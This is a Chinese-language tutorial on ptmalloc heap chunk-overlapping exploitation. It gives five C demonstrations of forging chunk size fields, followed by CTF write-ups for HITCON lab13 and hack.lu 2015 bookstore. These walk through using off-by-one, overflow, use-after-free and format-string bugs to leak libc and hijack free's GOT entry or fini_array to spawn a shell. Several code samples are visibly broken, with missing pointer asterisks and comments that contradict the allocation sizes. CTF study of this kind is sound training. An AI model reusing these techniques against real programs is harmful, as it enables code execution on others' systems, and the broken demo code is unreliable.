由于ptmalloc是通过chunk header的数据判断chunk的使用情况和对chunk的前后块进行定位,所以可以通过控制size和pre_size域来实现跨越块操作,实现 chunk的overlapping。以下几个方案为示例:
1、对inuse的fastbin进行extend
int main(void)
{
void ptr,ptr1;
ptr=malloc(0x10);//分配第一个0x10的chunk1
malloc(0x10);//分配第二个0x10的chunk2
*(long long *)((long long)ptr-0x8)=0x41;
// 修改第一个块的size域0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小。如上所示正好大小为 0x40
free(ptr);//free之后可以看到chunk1和chunk2合成了一个0x40大小的chunk,释放到了fastbin中
ptr1=malloc(0x30);// 可以得到0x40大小的chunk块,同时第二个chunk还可用,实现 extend,控制了第二个块的内容
return 0;
}
2、对 inuse 的 smallbin 进行 extend
int main()
{
void ptr,ptr1;
ptr=malloc(0x80);//分配第一个 0x80 的chunk1,大于0x80的chunk释放时将放到unsorted bin中
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并
*(int *)((int)ptr-0x8)=0xb1;//修改chunk1的size位从91到b1,因为b1=91+21,也就是chunk1+chunk2的大小
free(ptr);//释放后,chunk1会和chunk2合并在一起被释放到unsorted bin中
ptr1=malloc(0xa0);//再次分配出0xb1大小的chunk,就可以获得该chunk,并可以控制chunk2的所有内容
}
3、对 free 的 smallbin 进行 extend
int main()//与第二项相似,这次是先释放掉chunk2
{
void ptr,ptr1;
ptr=malloc(0x80);//分配第一个0x80的chunk1,size=0x91
malloc(0x10);//分配第二个0x10的chunk2,size=0x21
free(ptr);//首先进行释放,使得chunk1进入unsorted bin
*(int *)((int)ptr-0x8)=0xb1;//修改chunk1的size从0x91到0xb1
ptr1=malloc(0xa0);//再次分配出0xb1大小的chunk,就可以获得该chunk,并可以控制chunk2的所有内容
}
4、通过 extend 后向 overlapping
int main()//CTF中常见场景
{
void ptr,ptr1;
ptr=malloc(0x10);//分配第1个 0x80 的chunk1,size=0x21
malloc(0x10); //分配第2个 0x10 的chunk2,size=0x21
malloc(0x10); //分配第3个 0x10 的chunk3,size=0x21
malloc(0x10); //分配第4个 0x10 的chunk4,size=0x21
*(int *)((int)ptr-0x8)=0x61;//修改chunk1的size从0x21到0x61
free(ptr);//free掉chunk1
ptr1=malloc(0x50);//再次分配出0x61的size的chunk,就可以控制chunk1、chunk2、chunk3的内容
}
5、通过 extend 前向 overlapping
int main(void)
{
void ptr1,ptr2,ptr3,ptr4;
ptr1=malloc(0x80);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(0x80);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
(int )((long long)ptr4-0x8)=0x90;//修改pre_inuse域
(int )((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块,可以控制ptr1,ptr2,ptr3
}
示例1:HITCON Trainging lab13
程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下:
1、创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
2、编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。
3、展示堆,输出指定索引堆的大小以及内容。
4、删除堆,删除指定堆,并且将对应指针设置为了 NULL。
漏洞代码:read_input(heaparray[v1]->content, heaparray[v1]->size + 1);,读取了size+1个数,多读取了一个,形成了off by one漏洞。
利用思路为:
1、按照前面述说中,对inuse的fastbin进行extend,申请两个合适大小的堆块,分别是0x28(0x28是利用off by one修改掉后一个chunk的size,所以需要额外8个字节占用掉pre_size位置)和0x10(便于后面的释放到fastbin并控制)。
2、使用off by one漏洞将chunk2的size改写成0x41,然后释放掉chunk2。
3、重新申请一个大小为0x30的chunk,刚好生成的size为0x41,就会直接拿到chunk1和chunk2,并获得chunk2的控制权。
4、将chunk2的内容指针位改写成free在got表中的地址,然后打印该chunk,就可以获得free函数在libc中运行的地址,并通过vmmap计算出libc的偏移。根据偏移,我们可以计算出libc的基地址。
5、根据libc的基地址,我们有两种选择,一个是找one_gadget,一个是找system地址,因为此处有/bin/sh的写入的地方,就是第一个chunk的内容处直接写入/bin/sh,在运行的时候直接delete chunk0就可以运行system('/bin/sh')了,不过还是one_gadget比较方便。注意写入地址要加p64!!!
6、直接编辑chunk2的内容,将对应的shell地址写入到free函数中,free函数就可以开shell了。(我认为除free函数以外,其他函数也是可以开shell的,但是试了一遍都不行~~sign..不知道为啥,有待研究吧,下次培训的时候问一下)
示例2:2015 hacklu bookstore
程序主要功能是预定book,具体如下:
可以预定两本书,也可删除预定,由edit_order和delete_order两个函数实现,存在漏洞:
1、主函数中,输入选项未限制输入1-5,可以任意输入128以内的字符。
fgets(&s, 128, stdin);
2、edit_order中,编辑预定的内容未限制输入长度,一直接收到'\n',然后全部输入进堆的内容,可以造成堆溢出。堆溢出改变chunk的size,释放后再申请对应空间大小可以控制到堆。
while ( v3 != '\n' )
{
v3 = fgetc(stdin);
idx = cnt++;
a1[idx] = v3;
}
3、delete_order中,指针被free掉之后,没有将指针置0,会导致指针可以被再次使用,存在use after free
v1 = readfsqword(0x28u);
free(a1);
return readfsqword(0x28u) ^ v1;
4、程序最后还存在格式化字符串漏洞
printf(dest);
虽然漏洞很多,但是还是很难利用的,因为程序逻辑上没有直接编辑堆的函数,并且submit之后就会直接退出了。利用方法如下:
1、利用editor堆溢出漏洞修改下book2的堆的size为0x151,然后delete掉book2,这样submit的时候申请的堆可以控制到dest对应的堆内容。
2、submit的时候会将book1和book2的内容以及部分奇怪的字符比如order1,order2等,合并到submit申请的chunk3中,但是删掉book2后,scrpy的内容是order1 + chunk1 + order2 + order1 + chunk1 ,所以通过构造chunk1的内容使其刚好覆盖到dest的位置,然后利用格式化字符串漏洞输出对应位置的栈内容或者修改函数指向。
3、由于submit后程序会直接结束,所以需要利用格式化字符串漏洞修改掉程序逻辑,让程序重新运行到main函数,此时我们可以利用到fini_array这个函数,在程序结束前,该函数会被运行,如果我们修改该函数的内容让其指向main函数,就可以让程序再运行一次。如何修改fini_array的值呢,发现一个新的利用格式化字符串漏洞的方法,就是先将栈中对应地址的内容修改为main函数的地址,然后再在栈中对应return位置写入fini_array的地址(利用输入选项时可以输入小于128位的字符,在栈中写入fini_array的地址),这样就可以再将程序运行一次。
4、现在问题就到了如何getshell,程序可以再运行一次后,我们就可以在第一次运行的时候输出一些内容,可以输出libc的地址来计算基地址,再计算gadget的地址。由于修改fini_array后第二次return相比第一次有偏移,我们可以寻找栈上一个带有栈的地址的值,进行偏移计算,并泄露出第一次的该地址,就可以计算出第二次return的地址。我们还可以利用前面printf的方法,第二次运行的时候将gadget的地址写入到程序结束要return的地址中。这样,程序运行到结束时,将跳转到gadget的地址,开启shell。